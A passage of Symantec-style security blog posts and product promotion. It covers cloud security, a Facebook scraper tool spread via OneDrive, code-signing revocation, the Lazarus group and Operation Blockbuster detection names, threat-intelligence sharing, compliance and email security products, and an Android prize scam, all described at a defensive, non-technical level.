And that’s where we’ve got you covered. Check out the following links to learn more.
Network Security for the Cloud Generation
Symantec Introduces Industry’s First Cloud-Based Network Security Solution with Web Isolation; adds Complete Endpoint Protection
Cloud-Delivered Network Security No Longer Optional
|
Cloud Security is Overwhelming. AI and Machine Learning Can Help
Learn how AI and machine learning can play a key role in enhancing the capabilities of your security staff
As companies embrace cloud computing, most struggle to keep pace with the increasingly complex environment and an expanding attack surface that challenges long-standing security conventions.
The sheer volume of devices, applications, and users working in the cloud creates an ecosystem that is far too complex and high-volume to be safeguarded by human security analysts. Companies need to bolster their security teams and practices with machine learning and artificial intelligence (AI) capabilities in order to have the best chance at maintaining visibility, mitigating risk and optimizing for their most precious resource: human analysts.
Cloud growth creates new security threats, and organizations are struggling. According to Symantec’s first Cloud Security Threat Report (CSTR), which surveyed 1,250 security decision makers worldwide, an overwhelming majority of respondents (93 percent) confirm they are having trouble keeping tabs on all cloud workloads while over a third (34 percent) said expanding cloud infrastructure has made it more complex and difficult to effectively manage their environments.
Unfortunately, there is more troubling news: Eighty-three percent of global CSTR respondents report a negative impact due to lack of visibility in the cloud and nearly three-quarters (73 percent) say their organizations have experienced a cloud-based security incident due to immature security practices. Over half (54 percent) say cloud security maturity is not keeping pace with the rapid expansion of new cloud apps, and 71 percent report an increase in IoT devices connected to Infrastructure-as-a-Service (IaaS), at a pace of around 20 percent growth just this last year. The deluge of new connected devices only serves to broaden an already expansive attack surface.
Cloud growth creates new security threats, and organizations are struggling.
At the same time, the increased use of cloud apps to access and share private information is leading to increases in Shadow Data and oversharing of corporate files. Another indication of immature cloud security practices and inadequate protections is that 68 percent of responding firms report having “direct or likely evidence” that their data has been offered up for sale on the dark web.
The fact that companies have not the time or the bandwidth to keep up with the sheer volume and variety of on-going incidents is the root of the problem. Fewer than half (43 percent) of CSTR respondents report they analyzed all cloud security incidents encountered over the last year, and almost half (49 percent) said their organization’s cloud security team was far too overloaded to address the bulk of alerts they receive. Only one in 10 survey respondents say they can adequately analyze cloud traffic, while less than a third (27 percent) are confident all cloud security alerts are fully addressed by their security teams.
The primary culprit for the shortfall is a skills and security personnel shortage. CSTR respondents almost unanimously agreed that they need to enhance cloud security skills (92 percent) and add staff (84 percent) in order to close the gap.
Elevating Cloud Security
AI and machine learning can play a key role in enhancing the capabilities of security staff. An integrated security platform that utilizes AI and machine learning reduces the burden on security teams by automating the process of combing through telemetry data to find critical insights that will boost a security posture. Massive amounts of data like the 9 trillion rows of telemetry monitored daily by Symantec’s Global Intelligence Center, can be analyzed with AI to create context and relationships. This task would be impossible for a human analyst.
In addition, machine learning and AI can also be used to facilitate a risk assessment of an organization’s security posture. By deploying the technologies to parse through vast amounts of disparate data, organizations can identify their most prominent areas of risk and prioritize resources accordingly.
Cloud Threat Security Report
Machine learning models learn from the telemetry and combine different events that are seemingly unrelated, but if combined together with enough context, can identify a critical incident that would likely go unnoticed by an individual. Using machine learning and AI, Symantec is able to identify dramatically more critical events as part of its own security services than it could prior to use of the technologies.
There’s a lot of moving parts in the cloud and you don’t necessarily have a full picture of what’s going on. To effectively harness AI and ML on the you need massive amounts of unbiased data. The recommended way to get this is by working with a partner that has global telemetry monitoring and analytics of cloud security incidents, and a proven track record with AI and ML. By doing so, you’ll have full confidence that the proverbial needle in the haystack won’t be missed, less obvious connections will be made, bad actors will be stopped, and that your company is properly safeguarded against potential risks.
Thankfully, prior research in this space arms us with optimism and the experience necessary to make this happen.
July 25th Webinar: Understand the Latest Cloud Security Trends
Watch Webinar for readers in North America
Watch Webinar for readers in Asia-Pacific
Watch Webinar for readers in Europe and the Middle East
|
CloudSOC Detection and Prevention Mode
Auto Marketing Facebook Data Scraper Tool Distributed via OneDrive
Online Social Networks (OSNs) are increasingly being used to distribute malware, warez, and unsolicited tools, and act as launch pads for third-party applications to scrape users’ data on the fly. Recently, attackers have also begun to exploit tools that were designed to extract data from OSNs for marketing purposes. The tools are used to gain access to the account of a primary user and then crawl across all the other users present in the primary user’s network. They can then be used to exploit inherent flaws in OSNs to conduct unauthorized activity in the profiles.
What grounds should OSNs allow the extraction of data? From a data privacy point of view, that’s the biggest question. The answer is that OSNs are inherently prone to chain exploitation since the networks are built around users. The design complexity from a security point of view revolves around on the state of data transactions among different users and associated privacy controls. Considering the design of OSNs, securing data and maintaining privacy in them is a huge challenge.
Recently, we have been noticing that compromised user accounts in cloud storage apps are being used to host and distribute malicious code. In this blog post, we will look at a malicious tool named Auto Facebook Marketer, an executable file that was found to be hosted and distributed via MS OneDrive using cloud. The tool name highlights that the executable might be performing some unauthorized operations such as ad-injection from the end-user machine.
Analysis
The screenshot below shows an executable file hosted on OneDrive that is publicly accessible.
Users can download this file if they have the URL. Originally, this data scraping tool was designed to extract data from Facebook profiles for marketing and other legitimate purposes where users are looking to determine users’ preferences, customize advertisements, etc.
In order to fully understand how the functionality of the tool can be exploited for nefarious purposes, we conducted a series of tests in a controlled environment. A notification window is shown below which highlights the properties of the executable. The Original filename parameter has a value of bot.exe.
As the name of the executable implies, Auto Facebook Marketer.exe, it is designed to perform some automated operations in the user’s Facebook account. It enables users to scrape data out of any Facebook account once credentials or profile information are provided. The screenshot presented below highlights the different details visible to users that enables them to start scraping data. The tool also has embedded browsing functionality.
The screenshot below highlights how the tool can search for the specific pages, people, and groups associated with a specific user profile.
The tool also provides the ability to search and find profile URLs that are shared among the primary user’s peers and friends. The screenshot presented below reflects that option.
The tool can also automatically post the messages on the user’s behalf as shown below.
These types of tools are designed to mine the data from Facebook profiles on the fly, thereby using the obtained information for business specific tasks such as distributing targeted advertisements. Unfortunately, the application also has potential as a hacking tool.
Detection and Protection
The next question that needs to be asked is, can these types of tools be detected if shared via cloud apps to restrict the distribution? The answer is yes. CloudSOCs built in detection and prevention engine can quickly and easily do this job. The CloudSOC content scanning engine detects these types of threats and enforces policies that can also trigger prevention controls. The screenshot presented below shows how CloudSOC can detect the distribution of these tools via O365.
Conclusion
Detecting and prevention of suspicious binaries and executable should be treated with utmost importance when the security posture of cloud apps is analyzed in the enterprise environment. The enterprises should have detection and prevention platform in place to restrict the distribution and sharing of suspicious (or malicious) file via cloud apps.
If you found this information useful, you may enjoy this blog by Samir Kapuria:
The World's Third Largest Economy Continues to Grow and So Does Our Japanese Cyber Operations
|
Code Signing: Can you trust that executable?
If a file is digitally signed, and you trust the signer, then you can probably trust the executable. But what happens when something goes wrong?
In order to vouch for the authenticity of an executable, a company or person can ask a Certificate Authority (CA) to verify their identity and provide them with a Code Signing Certificate. The private keys for that certificate can then be used to prove something about the origin of an executable. Properly signing executables and other binary files with code signing certificates using the public key infrastructure (PKI) that supports it, is a key component to establish trust when downloading and executing code.
Some users are more likely to trust a signed file, regardless of who signed it. This has led to more and more greyware and malware being properly signed by a valid certificate. There is even a black market ecosystem to support the acquisition and sale of authentic code signing certificates. All of this is a problem but may still be okay if you don’t trust the entity that signed the file in these scenarios.
But if a private key for a certificate is lost or stolen then this undermines the chain of trust that underpins this system since an entity that is untrusted can masquerade as a trusted source. In this situation it is critical that the certificate can be revoked properly. There is a mechanism to revoke certificates using a Certificate Revocation List (CRL) and Online Certificate Status Protocol (OCSP) which are maintained by the CA and used to invalidate the trust that we might otherwise have in the certificate.
However, there are flaws and misunderstandings about how revocation works. In a recent paper from Symantec Research Labs, in collaboration with the University of Maryland College Park, we looked at the code signing revocation process and what can go wrong.
In the paper we analyzed the revocation process from end to end using the largest set of code signing certificates yet collected and actively monitoring the revocation lists for those certificates over a period of time to see how the revoked certificates are handled. Effective revocations rely on three tasks: (1) discovering the abused certificates, (2) revoking the certificates effectively, and (3) disseminating the revocation information for clients to see.
Table 1 highlights some of the key findings from the research, looking at what can go wrong at each stage.
The paper assessed the challenges related to discovering compromised certificates and the subsequent revocation delays that occur. We showed that erroneously setting revocation dates causes signed malware to remain valid even after the certificate has been revoked. We also found failures in disseminating the revocations, leading clients to continue trusting some revoked certificates.
Some key takeaways are:
There appears to be no standard process to move from discovery to revocation, even after files that are properly signed are found to be malicious by multiple AV venders.
The delay between discovery and revocation is often long, on average 171 days
Deciding the correct revocation date is a challenge because it is hard to identify the exact date when the certificate was compromised, and there is a balance between revoking trust in malicious binaries and maintaining trust in binaries that the vendor really did publish.
Due to timestamping in the signing process, certificate revocation has to be maintained indefinitely, which is not always well understood (read the paper for more information on this topic!)
Code signing and revocation are the most effective way to handle trust in the current ecosystem and are a key component in whitelisting solutions. However, we discovered flaws in the system that make it possible to undermine that trust. This is one reason that anti-virus software, supported by a security vendor with robust backend systems for malware analysis, machine learning, and behavioral based detections, is an important component of a defense in depth strategy.
|
Collaboration Rules the Working World. But Make it Secure
There’s a basic tension between the use of collaboration tools and enterprise security. Here’s how to proceed securely
The business world is an increasingly collaborative place, as people work together online in their enterprises as well as with customers, partners, supplier and contractors. Many tools are available that make it easy --- but their use can cause serious security problems. One survey found that 66% of IT decision-makers believe collaboration tools open their networks to break-ins, and another that 80% believe messaging and collaboration platforms are vulnerable to cyber attacks.
What can you do if you want your company to keep using collaboration tools, but do it securely? Check out the following recommendations from the experts.
Why Your Enterprise Is Vulnerable to Collaboration Tools
There’s a basic tension between the use of collaboration tools and enterprise security, experts say. Collaboration tools are designed to be as open as possible and allow people to work together in disparate locations, often sharing sensitive files and information. And they frequently do it outside corporate networks, while traveling or at home — and they may be using their own personal phones, tablets and computers. Particularly dangerous is when people inside enterprises collaborate with third parties, such as partners, suppliers, contractors and customers. That openness can leave unwitting companies subject to break-ins and attacks.
“Enabling collaboration in real-time, in today’s fast-paced environment, is critical for businesses,” says Cindy Donaldson, president of the Global Resilience Federation, a non-profit group that focuses on protecting infrastructure and organizations against cyber threats and other dangers. “We do it all the time at the Global Resilience Foundation. The key is making sure that information is protected while you collaborate.”
What specific dangers do enterprises face when using collaboration tools? Tyler Koblasa, CEO of CloudApp, which makes software that records screen captures, webcam and video, and shares them securely in the cloud, says it starts with unauthorized users gaining access to corporate networks and data.
“Many collaboration tools don’t have the most basic security controls, notably two-factor authentication,” he says. “So someone could pose as a contractor and easily compromise an enterprise by using false credentials.”
Once someone does that, they can gain access to file-sharing services and steal sensitive files and participate in live conferencing where private data is shared. Worse, they can use that access to steal credentials of corporate employees and then run loose in the corporate network.
Employees sometimes share sensitive files as attachments in collaboration software, Koblasa notes, including private data and API keys. API keys can function as passwords to give someone access to sensitive network resources and automate gaining access to a wide variety of private data.
Other dangers include employees sharing private corporate information in unencrypted, plain-text messages, and hackers embedding malicious software as attachments, or as drive-by-downloads in the web pages that host the collaboration software. That malware can then infect the corporate network.
How Your Enterprise Can Protect Itself
There’s plenty enterprises can do if they want to stay safe while allowing employees to use collaboration tools. Donaldson says it’s all about the data and what kind of information is being communicated with these tools.
“The software and data need to be subject to the same security policies as all other data and software,” according to Donaldson. “Look at the kinds of access policies you have in place, including tracking using individual IDs. Make sure to use strong encryption. You’re really just applying the same security principles as you would with any other technology, and ensure you're striking the right balance between security and ease of use.”
Koblasa adds that it’s important for companies to have a single point of attachment to all cloud-based services, including collaboration software and file-sharing, and then enforce strong authentication when people connect to it. That way, he says, “You won’t have your company data ending up on many different third-party clouds.”
In addition, he says, all content inside any files shared via collaboration software should be scanned for malware and to make sure they don’t contain sensitive and private information such as credentials, passwords and customer data. And companies should decide which collaboration software should be allowed to be used, and those should be white-listed, with the rest black-listed.
Donaldson stresses that ultimately, staying secure while using collaboration software requires more than just adhering to the right technical policies.
“Most important of all is providing security awareness training for employees that includes potential dangers of using collaboration software,” she says. “Because security is a mind-set. It’s a culture. You really have to get the entire organization looking at things from a security perspective. Security is everybody's job.”
|
Collaborative Operation Blockbuster aims to send Lazarus back to the dead
Operation involves major security vendors sharing intelligence and resources in order to assist commercial and government organizations in protecting themselves against Lazarus.
A collaborative cross-industry operation has targeted an aggressive threat group known as Lazarus. The initiative, called Operation Blockbuster was led by analytics firm Novetta and aims to significantly bolster defenses against the cyberespionage group and its disruptive campaigns.
Symantec has been tracking attacks associated with Lazarus since 2009. It has been linked to a wide range of incidents, several of which involved highly destructive malware. Lazarus appears to be particularly focused on targets in the US and South Korea.
Operation Blockbuster
Announced today, Operation Blockbuster involves major security vendors sharing intelligence and resources in order to assist commercial and government organizations in protecting themselves against Lazarus. As part of the initiative, vendors will circulate malware signatures and other useful intelligence related to these attackers.
Active since at least 2009, Lazarus is a well-resourced adversary, capable of mounting cyberespionage operations in addition to high-profile destructive attacks. There is some evidence to suggest that Lazarus may consist of several associated groups of attackers. If this is the case, then it is possible that these groups are acting in concert, under the direction of one entity.
Trail of destruction
Lazarus has been linked to a series of attacks since 2009. Symantec has observed commonalities between multiple targeted campaigns it may have been involved with. Lazarus is notable for its use of aggressive and destructive tactics, such as the use of disk-wiping malware, to cause maximum disruption to its targets
One of the earliest attacks linked to Lazarus occurred when distributed denial of service attacks (DDoS) attacks knocked a number of US and South Korean websites offline. A Trojan known as Dozer (detected by Symantec as Trojan.Dozer) mounted the DDoS attacks using computers it had previously compromised. Dozer was spread through emails in a campaign involving a number of worms (detected as W32.Dozer, W32.Mydoom.A@mm, and W32.Mytob!gen).
A similar wave of DDoS attacks hit South Korean websites in 2011, this time involving more destructive malware known as Trojan.Koredos. The Koredos Trojan not only used the infected computer to mount DDoS attacks; it also wiped the computer after a short period of time. Upon infection, the Trojan scanned for a number of different file types and copied them into an inaccessible encrypted .cab file before deleting the originals. A number of files that the Trojan searched for were related to software predominantly used in Korea (e.g. .alz, .gul, and .hwp). After this, the Trojan delivered the coup de grâce by deleting the master boot record (MBR) on all connected drives between 7 and 10 days after the initial infection. This resulted in Windows being unable to restart, effectively rending the computer unusable.
Lazarus was also linked to a series of destructive attacks against a number of South Korean corporations in 2013. Banks, broadcasters, and telecoms companies were among those affected. The attacks were reported to have compromised the targets’ servers with a disk-wiping Trojan (detected by Symantec as Trojan.Jokra). In addition to this, one telecoms firm had its website defaced with an animated image of skulls and a message from the alleged attackers, who called themselves the “Whois” team.
Aggressive attacks linked to Lazarus continued in 2014 and the group was linked to Backdoor.Destover, a highly destructive Trojan that was the subject of an FBI warning after it was used in an attack against Sony Pictures Entertainment. The FBI concluded that the North Korean government was responsible for this attack.
Although used against US targets, Destover shared several links to earlier attacks directed at targets in South Korea. Some samples of Destover reported to a command and control (C&C) server that was also used by a version of Trojan.Volgmer, which was crafted to attack South Korean targets. The shared C&C server indicated that the same group may have been behind both attacks. An updated version of this malware (detected as Trojan.Volgmer.B) has been used in more recent attacks against large South Korean companies.
Some of the most recent activity linked to Lazarus involved a Trojan detected as Backdoor.Duuzer. Although detected in a range of locations, one of the threat’s targets was the South Korean manufacturing industry. Duuzer’s main function appears to be cyberespionage. The Trojan provides attackers with remote access to the compromised computer, and allows them to download additional files and steal data.
There was also some evidence to suggest that the attackers behind Duuzer were spreading two other threats, detected as W32.Brambul and Backdoor.Joanap, to target more organizations in South Korea. Both pieces of malware appear to be designed to download extra payloads and carry out reconnaissance on infected computers.
Ongoing vigilance required
Attacks associated with Lazarus have frequently been highly destructive. Aside from the level of aggression displayed, Lazarus is notable for the range of tools used and the fact that it is linked to destructive attacks and lower-profile, espionage operations.
By pooling together our respective insights into Lazarus, Symantec and other members of the Operation Blockbuster team hopes to strike a blow to this group while ensuring that our customers have robust protection against its tools.
Protection
Symantec and Norton products protect against threats associated with Lazarus with the following detections:
Antivirus
W32.Brambul
Backdoor.Joanap
Backdoor.Duuzer
Trojan.Volgmer
Trojan.Volgmer.B
Backdoor.Destover
Trojan.Koredos
Trojan.Jokra
Trojan.Dozer
W32.Dozer
W32.Mydoom.A@mm
W32.Mytob!gen
Trojan.Castov
Backdoor.Prioxer
Backdoor.Prioxer.B
Backdoor.Mapafes
Bloodhound.HWP.5
Intrusion prevention system
System Infected: Backdoor.Joanap Activity
System Infected: Backdoor.Duuzer Activity
System Infected: Trojan.Volgmer Activity
System Infected: Backdoor.Destover Activity
System Infected: Backdoor.Destover Activity 2
System Infected: Backdoor.Destover Activity 3
|
Collective Threat Intelligence: We’re All in This
There’s strength in numbers and all organizations can benefit by adopting a collaborative approach to threat intelligence sharing as part of a collective security mindset that benefits everyone
2016 was a banner year for data breaches, including the high-profile hacks of the Democratic National Committee (DNC), Yahoo, and the National Security Agency (NSA). The following year was no better, with the WannaCry and Petya ransomware outbreaks grabbing headlines and wreaking havoc. Already this year, the U.S. power grid and other infrastructure have reportedly been breached while cyber attacks hobbled the city of Atlanta and sent aircraft giant Boeing Co. scrambling.
With the sheer volume of incidents and sophistication of threats on the rise, it’s increasingly difficult for any single organization, regardless of size, to defend itself adequately. As a result, a growing number of organizations are exploiting an alternative approach to cyber security: Collectively sharing intelligence and best practices in order to wage a more effective protective posture.
“No single company or no single enterprise has the whole picture—they’re only seeing a piece of the puzzle,” says Brian Witten, senior director of engineering for Symantec.
Witten points to the Dragonfly series of attacks on the global energy sector as a prime example of how collective threat intelligence can uncover patterns that might fly under the radar screen of individual enterprise efforts. Symantec, collaborating with others, was able to determine that the initial Dragonfly phishing attacks were not aimed at any specific individual target, but rather were part of a collective force to disrupt the entire energy supply chain and ecosystem. “The companies that felt like targets were just stepping stones or staging targets, but not one of those companies individually could have seen that by themselves,” he explains. “Putting the whole picture together—that’s how a community paints a bigger picture.”
A Changing Landscape
The ability to see the forest through the trees is crucial given the nature of today’s threat landscape. According to Michael Daniel, president and CEO of the Cyber Threat Alliance, an independent organization that fosters the sharing of advanced threat data through a platform aimed at cyber security and technology vendors, the dangers have evolved in three ways. To be sure, the landscape is now far more broad and diverse, driven by the rush to connect an explosion of heterogeneous devices to the Internet—by industry estimates, an anticipated 30 billion by 2020.
“It’s the only environment I know of where there is more of it on a daily basis,” Daniel explains. “Cyber space is also becoming more varied—we’ve gone from wired desktops to laptops to mobile devices, and now it’s on to cars, Fitbits, light bulbs, and refrigerators. They are all slightly different and everything is communicating with each other.”
At the same time, Daniel says the threat landscape has become more dangerous. Instead of bad actors looking to be disruptive or steal identity data for profit, recent activity is more nefarious, he says, aimed at disrupting infrastructure like street lights and power grids or taking down key business processes like stock market trading. There’s also an expanding roster of bad guys that have discovered cyber space is a fabulous place to make money, including nation states, which raises the stakes even higher.
“It’s become far more disruptive—things that used to be minor annoyances are now potentially existential for an organization or country,” Daniel says. “The only way to tackle this problem is to take a more collaborative approach.”
Collaboration can happen on multiple levels. Cyber security technology providers, along with cloud and Internet service providers and telecommunications giants, should be actively sharing technical data on threat intelligence—which is where the CTA sharing model comes into play.
There’s also an expanding roster of bad guys that have discovered cyber space is a fabulous place to make money...
Members, which includes Symantec, are required to upload threat intelligence daily to a shared platform, where it scored to keep members in good standing. Daniel said that collective intelligence helped facilitate the response to the WannaCry outbreak, ruling out email as an attack vector early on so companies could shift focus to exploring alternative sources.
There’s also plenty organizations can do to foster threat intelligence sharing on an enterprise level. Information Sharing and Analysis Centers (ISACs), non-profit organizations that serve as a clearinghouse of information on cyber threats, are an invaluable resource for collective threat intelligence and security best practices and are well established for vertical industries from financial services to automotive.
Other global consortiums have formed to combat the cyber threat in specific industries, including one recently announced in the financial technology industry being lead by the World Economic Forum.
Managed security services are another way enterprises can benefit from a global network that curates threat intelligence on hundreds of thousands of adversaries worldwide. When engaging with such a service or a security technology provider, organizations should align with those firms that leverage technology like artificial intelligence to provide contextual insights into potential threats and that perform monitoring on a 24x7 basis to target vulnerabilities in real time.
“No single enterprise can have the whole picture by themselves, but they’re not alone,” Symantec’s Witten says. “There are lots of ways companies can partner to get that bigger picture.”
|
Compliance: Just a Check Box or a Strategic Tool to Reduce Risk?
The damage to organizations that experience a data breach extends far beyond monetary fines or penalties–their brand may never recover.
Newer regulations such as GDPR, PCI & NIST 800-171 require companies to take a more holistic approach to security compliance. Meeting compliance requirements is only half the challenge, however. Organizations also need newer and faster ways to measure and prove their compliance with the mandated requirements. Large global organizations in regulated industries must often comply with a cornucopia of regulations and mandates with varied reporting requirements. Collecting the data needed to measure and prove compliance on an ongoing basis can be especially challenging in these environments considering how granular the reporting requirements can get at times. Even medium sized organizations that do not need to meet as many regulations as large companies can find the data collection and reporting tasks very cumbersome.
Using manual processes, custom scripts, or spreadsheets to collect and manage the data needed to measure compliance was never a good idea and is even less so now. The sheer scope of the reporting challenge requires the use of tools that automate the process of data collection and compliance measurement. You need to have a way to continuously bring measurement data, from across your enterprise to a central location so you can monitor how your security controls are working and help resolve problems expeditiously. Web-based dashboards and visualization capabilities are critical to helping you measure risk and check compliance status across your organization.
Periodic snapshots of your compliance status are also no longer enough. Your organization needs to be able to show compliance with mandated requirements on an ongoing and continuous basis across your digital infrastructure. That means having complete visibility over your data assets and consistently monitoring the controls you have at the application, database, server, network, endpoint, and cloud tiers to manage risk to the data. You need to identify new risks to your infrastructure and quickly address identified gaps in coverage that might result from the use of new technologies, such as IoT for instance. By having a process and technology that covers your entire digital infrastructure and the associated security controls, you can have the full visibility on what needs to be addressed to help reduce the security and mandate risks of your Enterprise.
Once you have the required compliance data, you need the ability to prioritize and fix the issues identified. These can vary from identifying and applying a patch, to changing processes, training users, or changing a configuration. Before you execute, often the biggest challenge is knowing where to start and how to prioritize. Wouldn't it be nice to be able to view all the elements at risk, prioritized by relevance to your business, and the impact they could have? This can then serve as a starting point for remediation activities, and give comprehensive visibility into why certain things need to be addressed first. Building automation into the remediation process is key because left to manual steps; things can take an unacceptable amount of time and are prone to error.
There are at least two options available:
Automate your patch process or
Put in place a mitigating control that prevents the particular weakness from being exploited, which is then a repetitive process as you get closer and closer to the goal of compliance and reducing the overall risk within your organization.
Symantec Control Compliance Suite 12.0
The new release of Symantec Control Compliance Suite 12.0 is designed to help demonstrate compliance and to help reduce the overall risk to the enterprise. It supports automated security compliance assessments for over 100 major regulations and mandates including GDPR, NIST, HIPAA, PCI and many more right out-of-the-box. The agent-based and agentless scanning capabilities can perform 57,000 patch checks and over 15,000 configuration checks across 75 platforms so you can quickly identify vulnerabilities and security gaps in your infrastructure. Control Compliance Suite lets you use the results of a single assessment to report against multiple regulations thereby eliminating the need to conduct separate security assessments for individual mandates. Audit-ready reports and dashboards provide visibility across both technical and procedural controls so you have a holistic understanding of how effectively you are managing IT risk. Most importantly, it has deep integrations with multiple offerings in the Symantec portfolio to enable closed loop remediation and risk reduction.
The new release of CCS v12.0 caters to the following areas of a compliance program:
Deploy and upgrade within hours to ensure quick time to value
New UI with guided flows and 30% reduction in clicks
An architecture with self-healing agents for operational resilience
Easy access to automated reports and dashboards
Integrations with products like Symantec Data Loss Prevention (Relevant for GDPR), IT Management Suite (Automated closed loop remediation), and Data Center Security (enable virtual patching) to accelerate remediation, reduce risks, and enable Symantec to be your Cyber Defense Platform.
For information on Control Compliance Suite please visit the CCS home page.
|
Confidently Secure Your Email With Symantec
Powerful protection: A leading email security solution with isolation technology
At Symantec, a division of Broadcom (NASDAQ: AVGO), we take your cyber security seriously, and we have long recognized that email is inarguably one of the most important threat vectors that organizations need to secure. Not only is 94% of malware delivered by email; email is also used to send links to websites that in turn host malware or phishing attacks. And the risk doesn’t stop here – Business Email Compromise and spoofing attacks are designed to bypass normal organizational controls, and email is a considerable risk factor that needs to be addressed as part of a data loss prevention strategy.
Since being acquired by Broadcom over half a year ago, we remain committed to developing our Email Security portfolio. Our investment in Email Security continues, not just in enhancing our core Email Security service, but also in extending the integrations and threat intelligence that supports this to provide ever stronger and high quality protection for customers. This is important to state as there are some organizations who would lead you to believe that this is not the case.
Customers, and industry analysts alike have recognized the strength that comes by Symantec offering a wide range of security technologies, and the underlying Threat Intelligence which it offers. If we consider the problem of web hosted malware and phishing attacks, I want to show you how our integrated approach keeps customers safe.
At Symantec we take your cyber security seriously, and we have long recognized that email is inarguably one of the most important threat vectors that organizations need to secure.
We know many of these attacks start with an email. We use a range of email validation, anti-spam and anti-malware filters to scan every email for signs that it is risky. This includes checking that the email isn’t impersonating or spoofing an email domain (for example “syrnantec” instead of “symantec”) and sender authentication standards have been complied with. We also scan for indicators of risk (e.g. language used in spam or fraud), embedded code in the email and attachments as well as examining any links. Advanced threats can also be sent to a sandbox for additional malware detection checks.
We cross check URL data with the threat intelligence from our web security platform, allowing us to use information such as the IP address range and lifespan and reputation scores for a website to determine the risk associated with that email. Because we know websites can ‘turn bad’ at any point, we use Real-time Link Following capabilities to scan links again when the user clicks the email, offering important protection and further reducing risk.
The reality is, that despite all these checks, there are still websites that cannot be categorized as being simply good or bad. There are always websites that remain risky, and these websites present a dilemma. Do you allow users to access those websites, with the risk of a breach? Or overblock website access leading to reduced productivity and frustration?
Symantec Email Threat Isolation resolves this in an incredibly effective, elegant, and simple way. A simple checkbox activates this protection – Symantec’s security experts control the policy for you.
Any risky or uncategorized website or email attachment is now opened in a secure, isolated web browser. The user has full access to the information, can navigate and interact as normal (with no noticeable impact on browsing experience) and is kept safe from malware attacks – there is no line of sight from the website to the user’s device. In addition, websites can be presented in read-only mode to prevent phishing attacks, no matter how authentic the fraudulent website appears.
Similarly, risk email attachments allow the user to ensure the attachment is authentic before inadvertently allowing malicious code or scripts to execute on their device.
This is just one example of how our approach to Email Security is keeping customers safer. We believe our combination of leading email security coupled with world class threat intelligence and security integrations - such as Isolation - delivers better security outcomes, in a simpler to manage way.
Within our portfolio we have the ability to secure email in a number of ways. Whether customers need a physical or virtual messaging gateway, a cloud hosted service or a hybrid deployment we have the solution. Protecting against the myriad of threats facing organizations today requires multiple defenses. Different technologies are needed to stop spam, unwanted email, impersonation attacks, Business Email Compromise, infected email and attachments, risky web links, phishing attacks and data loss.
Symantec keeps customers safe by providing a set of capabilities that includes:
sender authentication
email body and attachment inspection
URL link following
behavioral analysis
user awareness training
advanced threat protection
encryption
data loss prevention
website & attachment isolation
This breadth and strength of protection is recognized by industry analysts, independent test organizations and perhaps, most importantly, our customers. As we’ve reported in the past: both here and here, we’re proud to have been recognized by analysts in their recent reports. Both as a Leader in The Forrester Wave™: Enterprise Email Security, Q2 2019 report, as well as a Top Player in The Radicati Group's Secure Email Gateway - Market Quadrant 2019.
Find out more about the breadth of our full Email Security solution by visiting our website.
|
'Congratulations, you won' Malware Scam Crosses Over to Android
Symantec mobile researchers observe an old scam popular among desktop malware making the jump onto Android devices.
Protect against "Congratulations You Won" malware with Norton Mobile Security.
"Congratulations, you won!" would normally be a welcome phrase to see when you go online, instantly making you think of an all-expenses-paid vacation someplace exotic, or perhaps a substantial amount to add a few more zeroes to your bank account. If only it weren't a favorite phrase among scammers too, you could actually already be on your way somewhere nice and sunny.
We have recently seen such "You won" scams increasingly being adopted by mobile threat actors on Android. We've been seeing queries from our end users and samples from our partners in the field growing significantly since the summer.
""Congratulations, you won!" scams are increasingly being adopted by mobile threat actors on #Android http://symc.ly/2Dbubk9"
CLICK TO TWEET
While scams like these have just begun crossing over to Android, they are quite well known and have a long history. In addition to the specific malware involved, we will also discuss some of the forces that drive the success of this particular type of scam.
While scams like these have just begun crossing over to Android, they are quite well known and have a long history.
Context
"You won" scammers use localization to zero in on their targets. The malware (Android.Fakeyouwon) discovered on our users' devices identifies device location/region using the device's IP. Once the region is discerned, scammers can tailor different scam campaigns accordingly. These may range from generic ad library revenue generation to fake coupons or rewards programs from well-known local shopping outlets.
In Singapore, for example, two of the most ubiquitous grocery stores include Giant and FairPrice. It is no surprise that scammers have homed in on these household names for their scam campaign.
Figure 1. A scam page spoofing the FairPrice grocery store in Singapore
Users are shown a scam page that spoofs the FairPrice page, complete with the grocery chain's logo and an icon of the Singapore flag. The purported promotion even promises users who complete the supposed survey one of three things: a S$1000 (around US$750) voucher, a new gaming console, or a mobile handset. However, through the survey form, scammers collect users' personal information such as name, address, phone number, etc. The malware then sends the collected data to a remote server.
In other instances, scammers may also try to take advantage of recent trends in interesting topics. Examples used in this scam include fake offers for users to make money using the emerging Ethereum cryptocurrency.
Figure 2. Fake Ethereum investment/education signup form
Lending legitimacy
Once the victim has taken the bait, scammers try to reinforce the legitimacy of the content presented to the user. This usually involves making a reference to the large number of other people who are participating, either explicitly as Figure 1 demonstrates ("103 users online"), or implicitly, using spoofed pages of well-trusted platforms such as Google or Facebook. Scammers often craft fake testimonials and endorsements supposedly by other users that look like these were posted on the said platforms.
Once a victim takes the bait, scammers try to reinforce the legitimacy of the content presented usually by making a reference to the large number of other people participating, or by using spoofed pages of well-trusted platforms.
The strategy of "safety in numbers" can apply in protecting yourself, even when selecting reliable apps in the App store, but the strategy can also be exploited, as this case shows.
Figure 3. Scammers craft fake testimonials to make it look like other users on Facebook endorse the promo, making the scam look legitimate
Excitement
Of course, the main human factor is the level of excitement or suspension of disbelief that results from an exceptional situation such as winning a cash award, being under a time pressure to sign up, or finding a lucrative business opportunity in an area that's popular, or in an area that you've been recently studying. Even the wisest and most skeptical users have a time window where they might click through a notice without reading, or punch in information that they wouldn't otherwise.
Deception
There are a number of other finishing touches that scammers put on the scam to reel in the victim, including:
Path onto the device: Applications hide themselves as legitimate apps in domains such as settings apps (Panel Settings), or apps that play music for free. Apps will also ask for the minimum amount of permissions, so as not to concern more discerning users on installation.
Timing/delay to trigger: Variants of the Fakeyouwon malware deploy a specific operational mode depending on the location and platform of the victim’s device. Some will present malicious web content immediately, while others will delay, with the goal of fogging up any association between mysterious/strange behavior and recently installed applications. The amount of time between web-content pop-ups is also configurable. The installed-app profile in different regions results in different levels of noise from a smartphone. Smart scammers will try to emulate typical behavior for the region and stay under the radar.
Presentation of successful scam content: We've observed behavior where scam content was presented immediately again if the user spent a significant amount of time on the page. Likely, there's even further sophistication and analysis behind deciding what content to serve to the customer.
